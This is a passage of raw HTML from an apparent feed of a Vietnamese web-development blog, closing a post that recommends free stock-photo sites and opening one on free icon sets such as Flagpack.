II='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Glyphs Photos" title="Glyphs Photos" src="/static/53f9fde73472c02058e27b5b48caac09/7c811/web-tai-anh-mien-phi-chat-luong-cao-glyphs.png" srcset="/static/53f9fde73472c02058e27b5b48caac09/103f2/web-tai-anh-mien-phi-chat-luong-cao-glyphs.png 165w, /static/53f9fde73472c02058e27b5b48caac09/748ba/web-tai-anh-mien-phi-chat-luong-cao-glyphs.png 330w, /static/53f9fde73472c02058e27b5b48caac09/7c811/web-tai-anh-mien-phi-chat-luong-cao-glyphs.png 660w, /static/53f9fde73472c02058e27b5b48caac09/d28e0/web-tai-anh-mien-phi-chat-luong-cao-glyphs.png 990w, /static/53f9fde73472c02058e27b5b48caac09/bb51b/web-tai-anh-mien-phi-chat-luong-cao-glyphs.png 1320w, /static/53f9fde73472c02058e27b5b48caac09/8056d/web-tai-anh-mien-phi-chat-luong-cao-glyphs.png 1357w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="picjumbo" style="position:relative;"><a href="#picjumbo" aria-label="picjumbo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://picjumbo.com/">Picjumbo</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 55.757575757575765%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACIklEQVQoz22OX0hTYRjGD110kbsytsqYFRj0D7ww6CKIgVR0YWjZshTByYSlIbZAhtNupMCVXmhRbC6Yy27qwugvdGEUMVjzzDMGDdbWpju5ydh2zne+7zvbvvPFmTUy9vDy8r7w/p7nZWhFiqJQSrPZbCwWi8fj0Wg0EomEQlwymUyurSUSiZ8VAQCqx5RS5l84n89zHLe6GgysBILBYCCwwnEcy7IcF2JZNhwOi6JYA/7roEoCQBRFAIBcLEIIMcKyLCOMCSFV7H+YEAIRUhkZI4QwxhBBCCFCagmCACGUJIkQUgOmlKoJCMmyjPFWVzPVBateW2vt5D+vV6o6EoVu/3SbGEJIZjOzzvNiYZNSUSnnKUHFYhlIGEIgw4wM0kpJEAqF9VTqV5pXSvmylCmBDUoVJp1OH2s+otXvPX/h5MhAq+lqyzO3Y80fCrme+l0u1nPfNzex8dptt481Hz9823Ld88Ac83k/v/UIhQLD83zDwYb9Tfv0Rw9odPU7dZqRUeuP+YVPpl72Rv+XXrO/veO7ber545nO1lPjg6Ynkxbvwzvvl/05QWR4PqXTa+u0dbsb6/cc0u7QMIM3LS9MQxNNLfdOnHnUaHi367Tv4t03i07HcI+x7ZzNbLQPD3i9C8WywuRyuZ6+7ktdHdf6uq50dxrOGpxu58vJGVubqf+y9ZZxfLF9yuf48O3r8kfvrGt2emzUOj83vbT0Csml3/t9BxUlBEpYAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Picjumbo" title="Picjumbo" src="/static/6b47139feeac5463d31e88348eb5e235/7c811/web-tai-anh-mien-phi-chat-luong-cao-picjumpo.png" srcset="/static/6b47139feeac5463d31e88348eb5e235/103f2/web-tai-anh-mien-phi-chat-luong-cao-picjumpo.png 165w, /static/6b47139feeac5463d31e88348eb5e235/748ba/web-tai-anh-mien-phi-chat-luong-cao-picjumpo.png 330w, /static/6b47139feeac5463d31e88348eb5e235/7c811/web-tai-anh-mien-phi-chat-luong-cao-picjumpo.png 660w, /static/6b47139feeac5463d31e88348eb5e235/d28e0/web-tai-anh-mien-phi-chat-luong-cao-picjumpo.png 990w, /static/6b47139feeac5463d31e88348eb5e235/bb51b/web-tai-anh-mien-phi-chat-luong-cao-picjumpo.png 1320w, /static/6b47139feeac5463d31e88348eb5e235/ff551/web-tai-anh-mien-phi-chat-luong-cao-picjumpo.png 1481w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="freeimages" style="position:relative;"><a href="#freeimages" aria-label="freeimages permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://www.freeimages.com/">FreeImages</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 67.27272727272727%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAADJElEQVQozwEZA+b8ALPAybvAxsjGxnSYwRRatBhdtyyEzSF6xDJtrTVjpQ4xkRM2lhQ9oxVGrBRFqxNMryJ0xm2dyjZyvgxStQAqhN52seXr5eOCt+EGRrQSYMs0luZkruhOi8orY7MGKpEFJY4JNawJNKAHMJsQZdY8mepTpeoaguUhguAAC17JKoPYocnkjLbfXXq/YI/TZqLgzd7srb3VeKHSiLLiXX7IYnWyZ3KmMD+CI1unIW3BFGfNGGzQFmvUAGqy53q25V+q5aHI67bJ5rXJ6bDH68Hc8/Lw8e/v787a7LbA3La5x8DCzHN5jzI0QjdHbRBRvwtCtggqgwBgqeWOwuhLoeQifdoOVscQXsotgtqjxOPe3eCaxOYpV6QAACoJCzEIDDADAh0GG1gWYMQUZNANT78GGWsAHXXUGnTVGG/TB0m+CE7CD2/WNIrccK/kVabmL43hL4DPJ1uZCDOFCR9lGTyHDECoL43kFk6xCDKjByWJABhnxApBrgs1nw06pQ08ow47ow5XvSJ40DKI1zSS3Ctyxz2J1zyU3CdyyC1gsQw3mRdWtRdGpRMthw4YVADJ2urG0+XHzd7EzN/Hy9zGydrH0eTK1+XP3enJ2+jI1uTJ0+PS4evH2uq+xNbFxtHCyNrIzt/N0d7MztcA8fDt6+vo7O7r7e7r7O7s6e7u9PTy9/b3+fj69/X39PP1/f379/Xz9/Xy/fz5/v/9/v/8///9////////AMXGxLKwrMK+u6ampLy5tMyyoLq1qszPrtPUrsfJodHTsa21r9ja1uPl4LfAtbW5tKGfnLSzsMC+utjY1QBxcm9DREBncXh5f3+ggWSVQw5aWDyLjyuXmiWQkhiYmzopPCRHXTdRajsZLxM5QTkrKSQ1Mis6NiyDgXoAanRwFSciN1VTaYeFv59/pksVoXlGkZoojZEdmZ0ak5g7L0cnMk8MM04OECcISlJFV1JOZF5VXV1Wi4qEAGNsZgQZDxguIjNPRnluYKc8Cb6APVtpESYuC19pCl1iKDtWLDtNGCs/GClFGEZNPRwXEVZVT4WIgJ6bkn9Zm8FrX4Q9AAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="FreeImages" title="FreeImages" src="/static/63991e80747a1d8914f3a6c34a50061b/7c811/web-tai-anh-mien-phi-chat-luong-cao-freeimages.png" srcset="/static/63991e80747a1d8914f3a6c34a50061b/103f2/web-tai-anh-mien-phi-chat-luong-cao-freeimages.png 165w, /static/63991e80747a1d8914f3a6c34a50061b/748ba/web-tai-anh-mien-phi-chat-luong-cao-freeimages.png 330w, /static/63991e80747a1d8914f3a6c34a50061b/7c811/web-tai-anh-mien-phi-chat-luong-cao-freeimages.png 660w, /static/63991e80747a1d8914f3a6c34a50061b/d28e0/web-tai-anh-mien-phi-chat-luong-cao-freeimages.png 990w, /static/63991e80747a1d8914f3a6c34a50061b/bb51b/web-tai-anh-mien-phi-chat-luong-cao-freeimages.png 1320w, /static/63991e80747a1d8914f3a6c34a50061b/f631a/web-tai-anh-mien-phi-chat-luong-cao-freeimages.png 1351w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="stocksnap" style="position:relative;"><a href="#stocksnap" aria-label="stocksnap permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://stocksnap.io/">StockSnap</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 52.121212121212125%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAACbUlEQVQozwFiAp39AOHk5d/k5+Dl6e7y8/X7//L3+/H2+Oru8fH09vD09unv8unu8e3x8vP3+fH19+7x8u7x8/D09u3z9e3x9ADs3tLIp4a3jmTFo4jfuZDTp3nUxsDVuqqznY/Cp5fjvajeuaPb2t6+y9m+y9e8zNq5yte5yta2xtTY4egA4c6tj1waj1MSoHZRpXlPm3thz7mrs4tyTS8Zonpe1p951J95s7O2a4SZc4mbb4eZbH6Lbn6KWWZtqq2uANG8pJVtQq5xH8iFLMeqgs7CtKKPgpZmSJZhQtioisafhr2ahJ2mqVl2hFt3g1Z0f09veVRzfk1qdZyttADWxbmzjnfGezi+aRG1ayPwu4qEc23AlX7Tt6rczcno297o19OToqIxUU43V1IyUkw1VU1MZF8wUEyNn54A2tHBv6N8vqN5u6B5xKB32LiDvrCSuKqM5t7P2+XUydi18/f15enryNHQy9TTzdTTqK+qqaummqSnyNHVAMatfY5eCpFwRZhsIKN/G62HLZJvKXdOAbGfcJa3cImda9zf4P////7+/v7+/v///52Xk5mSjYOJl6CjqQDCpH2RYDqng324jlrHnViwj3JyXBxuVwzKtIDd5OWjorLR1OD+///3+fr2+fr6/P6Xk46ZlJBsa2ySj4oAx6uAqHNjyZptvY5OroVKd2YpRUYLIDALoJ6F////7vL0+vz++/3++vz++fv9/f//mpWQopyXcGxpoqOkAM7Csp94eI9sP11PCF1XEVlODTU8EwAXBXyIf/////j6+/r8/vr8/vr8/vn7/fz//6KdmKOclY6Ji7K1vnehiPVfOcyTAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Sticksnap" title="Sticksnap" src="/static/62abe8b63f327784b82122f79c6c17e1/7c811/web-tai-anh-mien-phi-chat-luong-cao-stocksnap.png" srcset="/static/62abe8b63f327784b82122f79c6c17e1/103f2/web-tai-anh-mien-phi-chat-luong-cao-stocksnap.png 165w, /static/62abe8b63f327784b82122f79c6c17e1/748ba/web-tai-anh-mien-phi-chat-luong-cao-stocksnap.png 330w, /static/62abe8b63f327784b82122f79c6c17e1/7c811/web-tai-anh-mien-phi-chat-luong-cao-stocksnap.png 660w, /static/62abe8b63f327784b82122f79c6c17e1/d28e0/web-tai-anh-mien-phi-chat-luong-cao-stocksnap.png 990w, /static/62abe8b63f327784b82122f79c6c17e1/bb51b/web-tai-anh-mien-phi-chat-luong-cao-stocksnap.png 1320w, /static/62abe8b63f327784b82122f79c6c17e1/50bf7/web-tai-anh-mien-phi-chat-luong-cao-stocksnap.png 1342w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="rawpixel" style="position:relative;"><a href="#rawpixel" aria-label="rawpixel permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://www.rawpixel.com/">Rawpixel</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 69.0909090909091%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAADYUlEQVQozwFWA6n8AO7u7uXl5/T09f////////////////////////v7+/v7+/////n6/fb3/PX19fLz9vz//9/V/r2a/una/wC5vLWaoJWXnJSZnpahp52tsqi5u7qanZ6bn5+3uLfAwr+ZnqHW18n//+77+/r8+/D+/N3y7ZyxtIq0t6wAWWNODRsAAQsBER8HIjAVLTohUldTAAQHAg8OQGlgPWRZAAsWlZJg//o4/f6k/vvV//Ku7thITl8ARlQ8AF9pVxQgCyIuGTRBKCk1Hj1IMmJpZRsgIhEzLTyRgy1gViIlLIiKasq/A+7nO/nzftvWc8DCUXKBAGh5QgBLVUMACQAECwIABQEACAAiLhhZYF0DDQ4AGRVIdGklMSwOEhdqdlpNcANXeACBmhWFnTJRdAAwTwBQaDoAg4qDVmBTXWVdV15XWGFXcXlskpiUgYaHiI6NtLm1jZKQhomLsreulaZ5lqh0nbF2pbeElal+eZFumqiXAF1raiY1MFhnYTpOQjZFPik3Ml1nY/z9+uTt4Nbh0tnl1uHs3vj69/////////79/+7t7/7+/v///////wBKWVUUJBpKWk8ySzcfMyYOHRRYYlzr8OvZ4dfO2MvE0cHQ2s7y9fHw8u/Q2tTCysHIycDKz8jY4Nru8O0AUF1ZEyQZTFtQT2NVOVFCFSUaVGFU9Pbz8/Xy7PDr4ung5uzn/P384+LeO4d6S46B1c3FVot/QYR22tvWAERSTgAPBDVHOkBWRSpDMQgaDTxKOv39/f////7+/v////////////r7+e3y7+zy7/r6+Ojs6ubs6v38/AC8v7ulqKK8wLm1u7Ovt7OprqevtavJ18PE1cTC0L/BzrzEzr3Ezr7X3NfT2NTa3tnl6eXt8ezc4tjS284A////xM21sr+m///39++m////5OrhWYFCbn02lKaPkqiOcI1xTm5HiZWGanhviZqPvNLLxtzVU29LUGxAAP///3KMWy9VIeLdt+vFbPPnx+Hn3GeKUoyab56tjLuze6iiZFNxS4+ai3eHf4WIeKyXfKaTfDJGJlh0RwD///9xi1saQQ/Ly5nxxnTv4Lfj6d9hhU90lXaXpnKyoEyumUFIYTSJk4RUX1ApKx9bRyxJOyggLBiOk23gLe6ULfT61AAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Rawpixel" title="Rawpixel" src="/static/8032ff2aea584158459a58767cba5684/7c811/web-tai-anh-mien-phi-chat-luong-cao-rawpixel.png" srcset="/static/8032ff2aea584158459a58767cba5684/103f2/web-tai-anh-mien-phi-chat-luong-cao-rawpixel.png 165w, /static/8032ff2aea584158459a58767cba5684/748ba/web-tai-anh-mien-phi-chat-luong-cao-rawpixel.png 330w, /static/8032ff2aea584158459a58767cba5684/7c811/web-tai-anh-mien-phi-chat-luong-cao-rawpixel.png 660w, /static/8032ff2aea584158459a58767cba5684/d28e0/web-tai-anh-mien-phi-chat-luong-cao-rawpixel.png 990w, /static/8032ff2aea584158459a58767cba5684/e4ca2/web-tai-anh-mien-phi-chat-luong-cao-rawpixel.png 1312w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là 10 trang web tải ảnh miễn phí chất lượng cao mà bạn có thể sử dụng trong các bài viết hoặc trong các dự án web mà không lo về vấn đề bản quyền.</p> <p>Tuy nhiên, nếu những trang web này không có những hình ảnh mà bạn mong muốn thì bạn thử tham khảo trên <a href="https://shutterstock.7eer.net/KeX6b7">Shutterstock</a> xem sao. Tuy nhiên, ảnh trên trang web này thường sẽ mất phí nhé!</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 60%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC50lEQVQozwHcAiP9AAwTHgwVIQ4UHxYbJR4jLSAlLh8jLR8jLSAkLiEmLyAlLh4iLA8UHiEmMCgsNiMnMRAVIA4THg4THgwRHADf1NXdwsHLxsfb29vl5ufc3+Le4OPc3uHb3eHZ29/c3uHc3uHa3N/h4uTl5ufk5ebb3N7S1NbW2Nnc3t8AjouQj4aKi4iPhoeSjo+YzMW4uLOsycK31My908u9xL60x8C1p6Wlm5qdlpWbkI+XrKmsycjFqKSlmZSYAAABDgEEGAAAGC4qLktCOYFxV4x6W4x7W5mGZaCNa5B+X5B+XYBwVXBhS1VMQTIyO4iEgpeUjmJhYiwlLQArJzlDJSxNLTRVT0+dkHmhlH6aj32LgXWtn4azpYuYi3iEfHV0bWtuam1sbHJ4eX2tqqOlopyPj488OEMAoHZuXzU6elFMODdQQENeXV50U1VuWVt0Xl5rWltrUVJnVlhtVVZtVVZsXl5xX15uiIaJpaOffXp9MzA/AHw+N00eKCkfOCUoTyEkURwfTiQnUSksUSUoTigrTSgrTTIyUTU0TiQkPx4eOigmQCwqQTAtQiQrPh4gMQA8LkmDbXV0d5B2eJJ3eZN2eJN5e5V6fJV6fJN6fJN8fZV+f5SAf454eIl4eId7eoh4d4V3d4NyP0gsGScAOUFtoae4u73NubrLubvLu73Mvb/OvL7Nv8DQvr/Mv7/NwcHOyMbOysbLwsDHvb3GvLzEvLvAtV5aRyIuAEVFf0BChTxDkDtFlzpFmTlDiDdCiTpEhjg/fC4vRS0tPTczQ0dAS0M/SUU+RUs+SUE/STM0OCovMj86PwBsZot4cIloZ6NZYbNhZ6tsbqJobqlsdsdiZJo9Lyk8MSlCNClDMyxEMSZFNCtYUkhCSUc3PT8yNzlgZGcAX1aBa2Z+gXarhXyrcm+AiYWsfnuRe3yad2t/bFdWY1VVQi0lQzcxa09MZFNMY2ZbSFJQRFBPQEpLV19hAJc4F48K1QgAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Shutterstock" title="Shutterstock" src="/static/b90575506632b48c75573cdb6e09a0fa/7c811/web-tai-anh-mien-phi-chat-luong-cao-shutterstock.png" srcset="/static/b90575506632b48c75573cdb6e09a0fa/103f2/web-tai-anh-mien-phi-chat-luong-cao-shutterstock.png 165w, /static/b90575506632b48c75573cdb6e09a0fa/748ba/web-tai-anh-mien-phi-chat-luong-cao-shutterstock.png 330w, /static/b90575506632b48c75573cdb6e09a0fa/7c811/web-tai-anh-mien-phi-chat-luong-cao-shutterstock.png 660w, /static/b90575506632b48c75573cdb6e09a0fa/d28e0/web-tai-anh-mien-phi-chat-luong-cao-shutterstock.png 990w, /static/b90575506632b48c75573cdb6e09a0fa/302da/web-tai-anh-mien-phi-chat-luong-cao-shutterstock.png 1207w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p>[email protected]<![CDATA[10 bộ icon miễn phí dành cho dân IT]]><![CDATA[Đối với dân IT, khi lập trình web hay các ứng dụng điện thoại, máy tính thì việc tìm kiếm và tải icon miễn phí tốn khá nhiều thời gian. Vì vậy, bài viết này sẽ tổng hợp lại 10 bộ…]]>https://completejavascript.com/icon-mien-phi-dan-it/https://completejavascript.com/icon-mien-phi-dan-it/<![CDATA[Icon]]>Sun, 10 Oct 2021 17:00:00 GMT<p>Đối với dân IT, khi lập trình web hay các ứng dụng điện thoại, máy tính thì việc tìm kiếm và tải icon miễn phí tốn khá nhiều thời gian. Vì vậy, bài viết này sẽ tổng hợp lại 10 bộ icon miễn phí, chất lượng cao mà bạn có thể sử dụng cho các sản phẩm của mình.</p> <h2 id="10-bộ-icon-miễn-phí-dành-cho-dân-it" style="position:relative;"><a href="#10-b%E1%BB%99-icon-mi%E1%BB%85n-ph%C3%AD-d%C3%A0nh-cho-d%C3%A2n-it" aria-label="10 bộ icon miễn phí dành cho dân it permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>10 bộ icon miễn phí dành cho dân IT</h2> <p>Dưới đây là danh sách bộ icon miễn phí cho bạn tải về.</p> <h3 id="bộ-icon-miễn-phí-về-lá-cờ-của-các-quốc-gia" style="position:relative;"><a href="#b%E1%BB%99-icon-mi%E1%BB%85n-ph%C3%AD-v%E1%BB%81-l%C3%A1-c%E1%BB%9D-c%E1%BB%A7a-c%C3%A1c-qu%E1%BB%91c-gia" aria-label="bộ icon miễn phí về lá cờ của các quốc gia permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bộ icon miễn phí về lá cờ của các quốc gia</h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 50.303030303030305%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABfUlEQVQoz22S2W7jMAxF/f//1mXqrAaaoHGcOLXjRQsliiI5cDLTlxnivOleHIFSoX+HWZiZRfSfkeX0mVERzaz0oFBVIpL/dmSBH+nMOkDGRBEx5/wMFCLy8lYev86v76v3j3W5rfzQUf2Z2pq9YVlsxIpZLp2fbBgN+EiUlfLDfG6uxrr21tXNtR9m8ADzBPPsrQuYY+KU1Ueuy/Pp6g6t+zb8ZCnvdtVmuz8cT5/H02pbvX5sdtVxvT+8lbtfq/2mOgaUmKRq7WDiZGNIEmmhENHa8bozQJmQEck68CQu5NnhuKTRoyJx1/chxBjxZ0FFZg3Dytpx6u2XG86eWp/pcgooARVQPaoJElO+VKW1jjL/bLQg1uRuztl+hnsIjaPLjNA0BtgEmWFh9BKRoW7AB/+U8yIvUtbJ5/sUjKeYxPlsfB5A74ZGz4OXwUvvBJC/bwCAECJEfH6HIpJG0pCWG7ogiy3IBDyC9lY6K719lBOvWph8tA4S/Xnn388mPiF8OfvVAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="flagpack" title="flagpack" src="/static/c96b4afb1588c5f170f19560b94317c2/7c811/icon-mien-phi-dan-it-flagpack.png" srcset="/static/c96b4afb1588c5f170f19560b94317c2/103f2/icon-mien-phi-dan-it-flagpack.png 165w, /static/c96b4afb1588c5f170f19560b94317c2/748ba/icon-mien-phi-dan-it-flagpack.png 330w, /static/c96b4afb1588c5f170f19560b94317c2/7c811/icon-mien-phi-dan-it-flagpack.png 660w, /static/c96b4afb1588c5f170f19560b94317c2/d28e0/icon-mien-phi-dan-it-flagpack.png 990w, /static/c96b4afb1588c5f170f19560b94317c2/bb51b/icon-mien-phi-dan-it-flagpack.png 1320w, /static/c96b4afb1588c5f170f19560b94317c2/2eb59/icon-mien-phi-dan-it-flagpack.png 2048w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Bộ icon về lá cờ của các quốc gia thường được sử dụng khi bạn muốn hiển thị thông tin liên quan đến quốc gia như: lựa chọn quốc gia khi nhập thông tin cá nhân, hiển thị tiền tệ, thời tiết các nước,...</p> <p>Bộ icon Flagpack này có trên <strong>250 icon của các nước</strong>, được tối ưu cho kích thước nhỏ giúp phù hợp với các thiết kế của bạn. Thêm nữa là họ cung cấp sẵn một vài styles mặc định và bạn có thể tùy chỉnh theo mong muốn.</p> <p>Đặc biệt, Flagpack có 2 phiên bản cho bạn lựa chọn: dành cho dân thiết kế và dành cho dân IT.</p> <p>Đối với designer, bạn có thể chọn tải về phiên bản Figma hoặc Sketch.</p> <p>Còn đối với lập trình viên (web), dĩ nhiên bạn cũng có thể tải về phiên bản Figma hoặc Sketch rồi xuất ra file ảnh. Hoặc bạn có thể cài đặt trực tiếp vào code (hỗ trợ <a href="/react/">React</a>, Vue và Svelte).</p> <a href="https://flagpack.xyz/" class="btn btn-primary margin-bottom"> Download </a> <h3 id="bộ-icon-về-covid-19" style="position:relative;"><a href="#b%E1%BB%99-icon-v%E1%BB%81-covid-19" aria-label="bộ icon về covid 19 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bộ icon về COVID-19</h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span 